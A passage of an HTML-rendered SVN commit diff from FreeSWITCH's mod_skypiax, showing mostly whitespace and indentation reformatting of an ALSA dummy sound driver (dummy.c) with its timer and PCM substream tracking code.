</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxalsadummyc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -18,7 +18,7 @@
</span><span class="cx">  *
</span><span class="cx">  */
</span><span class="cx"> 
</span><del>-#include &lt;sound/driver.h&gt; //giova
</del><ins>+#include &lt;sound/driver.h&gt;                //giova
</ins><span class="cx"> #include &lt;linux/init.h&gt;
</span><span class="cx"> #include &lt;linux/err.h&gt;
</span><span class="cx"> #include &lt;linux/platform_device.h&gt;
</span><span class="lines">@@ -44,7 +44,7 @@
</span><span class="cx"> #define MAX_PCM_SUBSTREAMS        128
</span><span class="cx"> #define MAX_MIDI_DEVICES        2
</span><span class="cx"> 
</span><del>-#if 0 /* emu10k1 emulation */
</del><ins>+#if 0                                                        /* emu10k1 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (128 * 1024)
</span><span class="cx"> static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
</span><span class="cx"> {
</span><span class="lines">@@ -57,10 +57,11 @@
</span><span class="cx">                 return err;
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #define add_playback_constraints emu10k1_playback_constraints
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#if 0 /* RME9652 emulation */
</del><ins>+#if 0                                                        /* RME9652 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (26 * 64 * 1024)
</span><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S32_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        26
</span><span class="lines">@@ -69,7 +70,7 @@
</span><span class="cx"> #define USE_PERIODS_MAX                2
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#if 0 /* ICE1712 emulation */
</del><ins>+#if 0                                                        /* ICE1712 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (256 * 1024)
</span><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S32_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        10
</span><span class="lines">@@ -78,7 +79,7 @@
</span><span class="cx"> #define USE_PERIODS_MAX                1024
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#if 0 /* UDA1341 emulation */
</del><ins>+#if 0                                                        /* UDA1341 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (16380)
</span><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S16_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        2
</span><span class="lines">@@ -87,7 +88,7 @@
</span><span class="cx"> #define USE_PERIODS_MAX                255
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
</del><ins>+#if 0                                                        /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
</ins><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S16_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        2
</span><span class="cx"> #define USE_CHANNELS_MAX        2
</span><span class="lines">@@ -96,12 +97,12 @@
</span><span class="cx"> #define USE_RATE_MAX                48000
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#if 0 /* CA0106 */
</del><ins>+#if 0                                                        /* CA0106 */
</ins><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S16_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        2
</span><span class="cx"> #define USE_CHANNELS_MAX        2
</span><del>-#define USE_RATE                (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000) 
-#define USE_RATE_MIN                48000 
</del><ins>+#define USE_RATE                (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
+#define USE_RATE_MIN                48000
</ins><span class="cx"> #define USE_RATE_MAX                192000
</span><span class="cx"> #define MAX_BUFFER_SIZE                ((65536-64)*8)
</span><span class="cx"> #define MAX_PERIOD_SIZE                (65536-64)
</span><span class="lines">@@ -146,9 +147,10 @@
</span><span class="cx"> 
</span><span class="cx"> static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;        /* Index 0-MAX */
</span><span class="cx"> static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR;        /* ID for this card */
</span><del>-static int enable[SNDRV_CARDS] = {1, [1 ... (SNDRV_CARDS - 1)] = 0};
-static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1};
-static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128};
</del><ins>+static int enable[SNDRV_CARDS] = { 1,[1...(SNDRV_CARDS - 1)] = 0 };
+static int pcm_devs[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 1 };
+static int pcm_substreams[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 128 };
+
</ins><span class="cx"> //static int midi_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 2};
</span><span class="cx"> 
</span><span class="cx"> module_param_array(index, int, NULL, 0444);
</span><span class="lines">@@ -165,14 +167,14 @@
</span><span class="cx"> //MODULE_PARM_DESC(midi_devs, &quot;MIDI devices # (0-2) for dummy driver.&quot;);
</span><span class="cx"> 
</span><span class="cx"> static struct platform_device *devices[SNDRV_CARDS];
</span><del>-static struct timer_list giovatimer; //giova
-static int giovastarted=0;
-static int giovaindex=0;
</del><ins>+static struct timer_list giovatimer;        //giova
+static int giovastarted = 0;
+static int giovaindex = 0;
</ins><span class="cx"> static spinlock_t giovalock;
</span><span class="cx"> struct giovadpcm {
</span><span class="cx">         struct snd_pcm_substream *substream;
</span><span class="cx">         struct snd_dummy_pcm *dpcm;
</span><del>-        int        started;
</del><ins>+        int started;
</ins><span class="cx"> };
</span><span class="cx"> static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
</span><span class="cx"> 
</span><span class="lines">@@ -188,8 +190,8 @@
</span><span class="cx">         struct snd_card *card;
</span><span class="cx">         struct snd_pcm *pcm;
</span><span class="cx">         spinlock_t mixer_lock;
</span><del>-        int mixer_volume[MIXER_ADDR_LAST+1][2];
-        int capture_source[MIXER_ADDR_LAST+1][2];
</del><ins>+        int mixer_volume[MIXER_ADDR_LAST + 1][2];
+        int capture_source[MIXER_ADDR_LAST + 1][2];
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> struct snd_dummy_pcm {
</span><span class="lines">@@ -208,50 +210,48 @@
</span><span class="cx"> 
</span><span class="cx"> static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
</span><span class="cx"> {
</span><del>-int i;
-int found=0;
</del><ins>+        int i;
+        int found = 0;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> //printk(&quot;giova: 1 timer_start %d %p\n&quot;, __LINE__, dpcm);
</span><del>-for(i=0; i&lt;giovaindex+1; i++){
-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
</del><ins>+        for (i = 0; i &lt; giovaindex + 1; i++) {
+                if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                        printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
+
+                if (giovadpcms[i].dpcm == dpcm) {
+                        giovadpcms[i].started = 1;
+                        found = 1;
+                }
</ins><span class="cx">         }
</span><ins>+        if (!found) {
+                printk(&quot;skypiax: start, NOT found?\n&quot;);
+        }
</ins><span class="cx"> 
</span><del>-if(giovadpcms[i].dpcm == dpcm){
-        giovadpcms[i].started=1;
-        found=1;
-}
-}
-if(!found){
-        printk(&quot;skypiax: start, NOT found?\n&quot;);
-}
-
-
-
</del><span class="cx"> //printk(&quot;giova: 2 timer_start %d %p\n&quot;, __LINE__, dpcm);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
</span><span class="cx"> {
</span><span class="cx">         //del_timer(&amp;dpcm-&gt;timer);
</span><del>-int i;
-int found=0;
</del><ins>+        int i;
+        int found = 0;
</ins><span class="cx"> 
</span><span class="cx"> //printk(&quot;giova: 1 timer_stop %d %p\n&quot;, __LINE__, dpcm);
</span><del>-for(i=0; i&lt;giovaindex +1; i++){
</del><ins>+        for (i = 0; i &lt; giovaindex + 1; i++) {
</ins><span class="cx"> 
</span><del>-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
</del><ins>+                if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                        printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
+                if (giovadpcms[i].dpcm == dpcm) {
+                        giovadpcms[i].started = 0;
+                        found = 1;
+                }
</ins><span class="cx">         }
</span><del>-if(giovadpcms[i].dpcm == dpcm){
-        giovadpcms[i].started=0;
-        found=1;
-}
-}
-if(!found){
-        //printk(&quot;skypiax: stop, NOT found?\n&quot;);
-        } else { 
</del><ins>+        if (!found) {
+                //printk(&quot;skypiax: stop, NOT found?\n&quot;);
+        } else {
</ins><span class="cx">                 //printk(&quot;skypiax: stop, YES found!\n&quot;); 
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -294,8 +294,7 @@
</span><span class="cx">         struct snd_dummy_pcm *dpcm = runtime-&gt;private_data;
</span><span class="cx">         int bps;
</span><span class="cx"> 
</span><del>-        bps = snd_pcm_format_width(runtime-&gt;format) * runtime-&gt;rate *
-                runtime-&gt;channels / 8;
</del><ins>+        bps = snd_pcm_format_width(runtime-&gt;format) * runtime-&gt;rate * runtime-&gt;channels / 8;
</ins><span class="cx"> 
</span><span class="cx">         if (bps &lt;= 0)
</span><span class="cx">                 return -EINVAL;
</span><span class="lines">@@ -306,8 +305,7 @@
</span><span class="cx">         dpcm-&gt;pcm_period_size = snd_pcm_lib_period_bytes(substream);
</span><span class="cx">         dpcm-&gt;pcm_irq_pos = 0;
</span><span class="cx">         dpcm-&gt;pcm_buf_pos = 0;
</span><del>-        snd_pcm_format_set_silence(runtime-&gt;format, runtime-&gt;dma_area,
-                        bytes_to_samples(runtime, runtime-&gt;dma_bytes));
</del><ins>+        snd_pcm_format_set_silence(runtime-&gt;format, runtime-&gt;dma_area, bytes_to_samples(runtime, runtime-&gt;dma_bytes));
</ins><span class="cx"> 
</span><span class="cx"> //printk(&quot;giova: prepare %d %p\n&quot;, __LINE__, dpcm);
</span><span class="cx">         return 0;
</span><span class="lines">@@ -316,49 +314,49 @@
</span><span class="cx"> static void snd_card_dummy_pcm_timer_function(unsigned long data)
</span><span class="cx"> {
</span><span class="cx">         //struct snd_dummy_pcm *dpcm = (struct snd_dummy_pcm *)data;
</span><del>-        struct snd_dummy_pcm *dpcm=NULL;
</del><ins>+        struct snd_dummy_pcm *dpcm = NULL;
</ins><span class="cx">         //unsigned long flags;
</span><del>-int i;
-        
</del><ins>+        int i;
</ins><span class="cx"> 
</span><del>-        giovatimer.expires = (HZ/100) + jiffies;
</del><ins>+
+        giovatimer.expires = (HZ / 100) + jiffies;
</ins><span class="cx">         add_timer(&amp;giovatimer);
</span><span class="cx"> 
</span><del>-for(i=0; i&lt; giovaindex +1; i++) {
</del><ins>+        for (i = 0; i &lt; giovaindex + 1; i++) {
</ins><span class="cx"> 
</span><del>-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
-        }
</del><ins>+                if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                        printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
</ins><span class="cx"> //printk(&quot;giova: timer_func %d i=%d\n&quot;, __LINE__, i);
</span><span class="cx"> 
</span><del>-if(giovadpcms[i].started != 1)
-        continue; 
-dpcm = giovadpcms[i].dpcm;
-if(dpcm==NULL){
-        printk(&quot;giova: timer_func %d %d NULL: continue\n&quot;, __LINE__, i);
-        continue;
-        }
-        if(in_irq())
-                printk(&quot;giova: timer_func %d %d we are in HARDWARE IRQ\n&quot;, __LINE__, i);
-        //if(in_softirq())
</del><ins>+                if (giovadpcms[i].started != 1)
+                        continue;
+                dpcm = giovadpcms[i].dpcm;
+                if (dpcm == NULL) {
+                        printk(&quot;giova: timer_func %d %d NULL: continue\n&quot;, __LINE__, i);
+                        continue;
+                }
+                if (in_irq())
+                        printk(&quot;giova: timer_func %d %d we are in HARDWARE IRQ\n&quot;, __LINE__, i);
+                //if(in_softirq())
</ins><span class="cx">                 //printk(&quot;giova: timer_func %d %d we are in SOFT IRQ\n&quot;, __LINE__, i);
</span><span class="cx"> //printk(&quot;giova: timer_func %d %d\n&quot;, __LINE__, i);
</span><del>-        //spin_lock_irqsave(&amp;dpcm-&gt;lock, flags);
-        spin_lock_bh(&amp;dpcm-&gt;lock);
-        dpcm-&gt;pcm_irq_pos += dpcm-&gt;pcm_bps * (HZ/100);
-        dpcm-&gt;pcm_buf_pos += dpcm-&gt;pcm_bps * (HZ/100);
-        dpcm-&gt;pcm_buf_pos %= dpcm-&gt;pcm_buffer_size * dpcm-&gt;pcm_hz;
-        if (dpcm-&gt;pcm_irq_pos &gt;= dpcm-&gt;pcm_period_size * dpcm-&gt;pcm_hz) {
-                dpcm-&gt;pcm_irq_pos %= dpcm-&gt;pcm_period_size * dpcm-&gt;pcm_hz;
-                //spin_unlock_irqrestore(&amp;dpcm-&gt;lock, flags);
-                spin_unlock_bh(&amp;dpcm-&gt;lock);
-                snd_pcm_period_elapsed(dpcm-&gt;substream);
-        } else {
-                //spin_unlock_irqrestore(&amp;dpcm-&gt;lock, flags);
-                spin_unlock_bh(&amp;dpcm-&gt;lock);
</del><ins>+                //spin_lock_irqsave(&amp;dpcm-&gt;lock, flags);
+                spin_lock_bh(&amp;dpcm-&gt;lock);
+                dpcm-&gt;pcm_irq_pos += dpcm-&gt;pcm_bps * (HZ / 100);
+                dpcm-&gt;pcm_buf_pos += dpcm-&gt;pcm_bps * (HZ / 100);
+                dpcm-&gt;pcm_buf_pos %= dpcm-&gt;pcm_buffer_size * dpcm-&gt;pcm_hz;
+                if (dpcm-&gt;pcm_irq_pos &gt;= dpcm-&gt;pcm_period_size * dpcm-&gt;pcm_hz) {
+                        dpcm-&gt;pcm_irq_pos %= dpcm-&gt;pcm_period_size * dpcm-&gt;pcm_hz;
+                        //spin_unlock_irqrestore(&amp;dpcm-&gt;lock, flags);
+                        spin_unlock_bh(&amp;dpcm-&gt;lock);
+                        snd_pcm_period_elapsed(dpcm-&gt;substream);
+                } else {
+                        //spin_unlock_irqrestore(&amp;dpcm-&gt;lock, flags);
+                        spin_unlock_bh(&amp;dpcm-&gt;lock);
+                }
</ins><span class="cx">         }
</span><span class="cx"> }
</span><del>-}
</del><span class="cx"> 
</span><span class="cx"> static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
</span><span class="cx"> {
</span><span class="lines">@@ -367,76 +365,71 @@
</span><span class="cx"> 
</span><span class="cx"> //printk(&quot;giova: pointer %d %p\n&quot;, __LINE__, dpcm);
</span><span class="cx">         //return bytes_to_frames(runtime, dpcm-&gt;pcm_buf_pos / dpcm-&gt;pcm_hz);
</span><del>-        return (dpcm-&gt;pcm_buf_pos / dpcm-&gt;pcm_hz)/2;
</del><ins>+        return (dpcm-&gt;pcm_buf_pos / dpcm-&gt;pcm_hz) / 2;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-static struct snd_pcm_hardware snd_card_dummy_playback =
-{
-        .info =                        (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
-                                 SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
-        .formats =                USE_FORMATS,
-        .rates =                USE_RATE,
-        .rate_min =                USE_RATE_MIN,
-        .rate_max =                USE_RATE_MAX,
-        .channels_min =                USE_CHANNELS_MIN,
-        .channels_max =                USE_CHANNELS_MAX,
-        .buffer_bytes_max =        MAX_BUFFER_SIZE,
-        .period_bytes_min =        64,
-        .period_bytes_max =        MAX_PERIOD_SIZE,
-        .periods_min =                USE_PERIODS_MIN,
-        .periods_max =                USE_PERIODS_MAX,
-        .fifo_size =                0,
</del><ins>+static struct snd_pcm_hardware snd_card_dummy_playback = {
+        .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+        .formats = USE_FORMATS,
+        .rates = USE_RATE,
+        .rate_min = USE_RATE_MIN,
+        .rate_max = USE_RATE_MAX,
+        .channels_min = USE_CHANNELS_MIN,
+        .channels_max = USE_CHANNELS_MAX,
+        .buffer_bytes_max = MAX_BUFFER_SIZE,
+        .period_bytes_min = 64,
+        .period_bytes_max = MAX_PERIOD_SIZE,
+        .periods_min = USE_PERIODS_MIN,
+        .periods_max = USE_PERIODS_MAX,
+        .fifo_size = 0,
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-static struct snd_pcm_hardware snd_card_dummy_capture =
-{
-        .info =                        (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
-                                 SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
-        .formats =                USE_FORMATS,
-        .rates =                USE_RATE,
-        .rate_min =                USE_RATE_MIN,
-        .rate_max =                USE_RATE_MAX,
-        .channels_min =                USE_CHANNELS_MIN,
-        .channels_max =                USE_CHANNELS_MAX,
-        .buffer_bytes_max =        MAX_BUFFER_SIZE,
-        .period_bytes_min =        64,
-        .period_bytes_max =        MAX_PERIOD_SIZE,
-        .periods_min =                USE_PERIODS_MIN,
-        .periods_max =                USE_PERIODS_MAX,
-        .fifo_size =                0,
</del><ins>+static struct snd_pcm_hardware snd_card_dummy_capture = {
+        .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+        .formats = USE_FORMATS,
+        .rates = USE_RATE,
+        .rate_min = USE_RATE_MIN,
+        .rate_max = USE_RATE_MAX,
+        .channels_min = USE_CHANNELS_MIN,
+        .channels_max = USE_CHANNELS_MAX,
+        .buffer_bytes_max = MAX_BUFFER_SIZE,
+        .period_bytes_min = 64,
+        .period_bytes_max = MAX_PERIOD_SIZE,
+        .periods_min = USE_PERIODS_MIN,
+        .periods_max = USE_PERIODS_MAX,
+        .fifo_size = 0,
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
</span><span class="cx"> {
</span><del>-int i;
</del><ins>+        int i;
</ins><span class="cx"> //int found=0;
</span><span class="cx"> 
</span><span class="cx"> //printk(&quot;snd_card_dummy_runtime_free giova 1 giovaindex=%d dpcm=%p runtime=%p\n&quot;, giovaindex, runtime-&gt;private_data, runtime);
</span><span class="cx">         spin_lock_bh(&amp;giovalock);
</span><span class="cx"> 
</span><del>-for(i=0; i &lt; giovaindex; i++) {
</del><ins>+        for (i = 0; i &lt; giovaindex; i++) {
</ins><span class="cx"> 
</span><del>-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d \n&quot;, __FILE__, __LINE__, i, giovaindex);
</del><ins>+                if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                        printk(&quot;giova, %s:%d, i=%d, giovaindex=%d \n&quot;, __FILE__, __LINE__, i, giovaindex);
+                }
+                //if((giovadpcms[i].substream == substream)  &amp;&amp; (giovadpcms[i].dpcm == dpcm)){
+                if ((giovadpcms[i].dpcm == runtime-&gt;private_data)) {
+                        //printk(&quot;giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n&quot;, __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime-&gt;private_data);
+                        //giovadpcms[i].dpcm = NULL;
+                        //giovadpcms[i].substream = NULL;
+                        giovadpcms[i].started = 0;
+                        //break;
+                } else {
+                        //printk(&quot;giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n&quot;, __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime-&gt;private_data);
+                }
</ins><span class="cx">         }
</span><del>-        //if((giovadpcms[i].substream == substream)  &amp;&amp; (giovadpcms[i].dpcm == dpcm)){
-        if((giovadpcms[i].dpcm == runtime-&gt;private_data)){
-                //printk(&quot;giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n&quot;, __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime-&gt;private_data);
-                //giovadpcms[i].dpcm = NULL;
-                //giovadpcms[i].substream = NULL;
-                giovadpcms[i].started = 0;
-                //break;
-        } else {
-                //printk(&quot;giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n&quot;, __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime-&gt;private_data);
-        }
-}
</del><span class="cx"> 
</span><span class="cx">         spin_unlock_bh(&amp;giovalock);
</span><span class="cx">         kfree(runtime-&gt;private_data);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream,
-                                    struct snd_pcm_hw_params *hw_params)
</del><ins>+static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
</ins><span class="cx"> {
</span><span class="cx">         return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
</span><span class="cx"> }
</span><span class="lines">@@ -450,13 +443,13 @@
</span><span class="cx"> {
</span><span class="cx">         struct snd_dummy_pcm *dpcm;
</span><span class="cx">         int i;
</span><del>-        int found=0;
</del><ins>+        int found = 0;
</ins><span class="cx"> 
</span><span class="cx">         //printk(&quot;giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n&quot;, __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime-&gt;private_data);
</span><span class="cx">         //printk(&quot;giova, %s:%d, giovaindex=%d\n&quot;, __FILE__, __LINE__, giovaindex);
</span><span class="cx">         dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
</span><span class="cx">         //printk(&quot;giova, %s:%d, giovaindex=%d\n&quot;, __FILE__, __LINE__, giovaindex);
</span><del>-        if (! dpcm){
</del><ins>+        if (!dpcm) {
</ins><span class="cx">                 //spin_unlock_bh(&amp;giovalock);
</span><span class="cx">                 printk(&quot;giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n&quot;, __FILE__, __LINE__, giovaindex);
</span><span class="cx">                 return dpcm;
</span><span class="lines">@@ -470,49 +463,48 @@
</span><span class="cx"> 
</span><span class="cx">         spin_lock_bh(&amp;giovalock);
</span><span class="cx">         //printk(&quot;giova 1 giovaindex=%d dpcm=%p substream=%p sizeof=%lu\n&quot;, giovaindex, dpcm, substream, sizeof(*dpcm));
</span><del>-        for(i=0; i &lt; giovaindex; i++) {
</del><ins>+        for (i = 0; i &lt; giovaindex; i++) {
</ins><span class="cx"> 
</span><del>-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
-        }
</del><ins>+                if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                        printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
</ins><span class="cx">                 //if((giovadpcms[i].substream == substream)  &amp;&amp; (giovadpcms[i].dpcm == dpcm))
</span><del>-                if((giovadpcms[i].substream == substream)){
-                        found=1;
</del><ins>+                if ((giovadpcms[i].substream == substream)) {
+                        found = 1;
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if(!found){
</del><ins>+        if (!found) {
</ins><span class="cx"> 
</span><del>-                giovadpcms[giovaindex].substream=substream;
</del><ins>+                giovadpcms[giovaindex].substream = substream;
</ins><span class="cx">                 giovaindex++;
</span><span class="cx">                 //printk(&quot;giova 2 giovaindex=%d dpcm=%p substream=%p\n&quot;, giovaindex, dpcm, substream);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        found =0;
-        for(i=0; i &lt; giovaindex; i++) {
</del><ins>+        found = 0;
+        for (i = 0; i &lt; giovaindex; i++) {
</ins><span class="cx"> 
</span><del>-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
-        }
-                if(giovadpcms[i].substream == substream){
-                        giovadpcms[i].dpcm=dpcm;
-                        giovadpcms[i].started=0;
</del><ins>+                if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                        printk(&quot;giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n&quot;, __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
+                if (giovadpcms[i].substream == substream) {
+                        giovadpcms[i].dpcm = dpcm;
+                        giovadpcms[i].started = 0;
</ins><span class="cx">                         found = 1;
</span><span class="cx">                         //printk(&quot;giova 3 giovaindex=%d dpcm=%p substream=%p\n&quot;, giovaindex, dpcm, substream);
</span><span class="cx">                         break;
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         spin_unlock_bh(&amp;giovalock);
</span><del>-        if(!found) {
</del><ins>+        if (!found) {
</ins><span class="cx">                 printk(&quot;skypiax giovaindex=%d NOT found????\n&quot;, giovaindex);
</span><span class="cx">         }
</span><del>-
</del><span class="cx">         //printk(&quot;giova, %s:%d, giovaindex=%d\n&quot;, __FILE__, __LINE__, giovaindex);
</span><span class="cx">         return dpcm;
</span><span class="cx"> }
</span><span class="lines">@@ -535,7 +527,7 @@
</span><span class="cx">                 runtime-&gt;hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
</span><span class="cx">         }
</span><span class="cx">         if (substream-&gt;pcm-&gt;device &amp; 2)
</span><del>-                runtime-&gt;hw.info &amp;= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
</del><ins>+                runtime-&gt;hw.info &amp;= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
</ins><span class="cx">         err = add_playback_constraints(runtime);
</span><span class="cx">         if (err &lt; 0)
</span><span class="cx">                 return err;
</span><span class="lines">@@ -561,7 +553,7 @@
</span><span class="cx">                 runtime-&gt;hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
</span><span class="cx">         }
</span><span class="cx">         if (substream-&gt;pcm-&gt;device &amp; 2)
</span><del>-                runtime-&gt;hw.info &amp;= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
</del><ins>+                runtime-&gt;hw.info &amp;= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
</ins><span class="cx">         err = add_capture_constraints(runtime);
</span><span class="cx">         if (err &lt; 0)
</span><span class="cx">                 return err;
</span><span class="lines">@@ -584,35 +576,33 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static struct snd_pcm_ops snd_card_dummy_playback_ops = {
</span><del>-        .open =                        snd_card_dummy_playback_open,
-        .close =                snd_card_dummy_playback_close,
-        .ioctl =                snd_pcm_lib_ioctl,
-        .hw_params =                snd_card_dummy_hw_params,
-        .hw_free =                snd_card_dummy_hw_free,
-        .prepare =                snd_card_dummy_pcm_prepare,
-        .trigger =                snd_card_dummy_pcm_trigger,
-        .pointer =                snd_card_dummy_pcm_pointer,
</del><ins>+        .open = snd_card_dummy_playback_open,
+        .close = snd_card_dummy_playback_close,
+        .ioctl = snd_pcm_lib_ioctl,
+        .hw_params = snd_card_dummy_hw_params,
